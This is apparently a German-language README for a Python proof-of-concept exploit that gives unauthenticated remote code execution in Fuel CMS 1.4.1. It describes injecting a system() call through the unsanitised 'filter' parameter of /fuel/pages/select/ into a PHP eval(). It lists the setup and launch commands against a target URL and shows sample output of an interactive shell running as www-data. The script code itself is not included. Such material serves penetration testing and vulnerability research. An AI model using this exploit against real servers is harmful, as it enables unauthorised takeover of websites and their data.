
Python-PoC für nicht authentifizierte Remote-Codeausführung in Fuel CMS 1.4.1 über den Parameter `filter`, der eine interaktive Shell zur Befehlsausführung bereitstellt.
Nicht authentifizierte RCE-Sicherheitslücke in Fuel CMS 1.4.1. Der Parameter
filterim Endpunkt/fuel/pages/select/wird ohne Bereinigung an eineneval()-Aufruf im PHP-Backend übergeben, wodurch beliebiger Code über einen manipulierten Payload ausgeführt werden kann. Im Gegensatz zu Blind-Injections wird die Ausgabe direkt in der HTTP-Antwort reflektiert, sodass keine Zwischendatei benötigt wird.
/fuel/pages/select/ mit einem speziell präparierten filter-Payload, der die PHP-Funktion system() mit dem gewünschten Befehl aufruft.python3 -m venv venv
source venv/bin/activate
python3 -m pip install requests prompt_toolkit
python3 exploit.py -t http://TARGET
Beispiel:
$ python3 exploit.py -t http://10.10.10.10
[*] Testing command execution...
[+] Target is vulnerable! Output: uid=33(www-data) gid=33(www-data) groups=33(www-data)
[+] Shell opened. Type 'exit' or Ctrl+C to quit.
Shell> whoami
www-data
Shell> hostname
fuel-cms
Shell> exit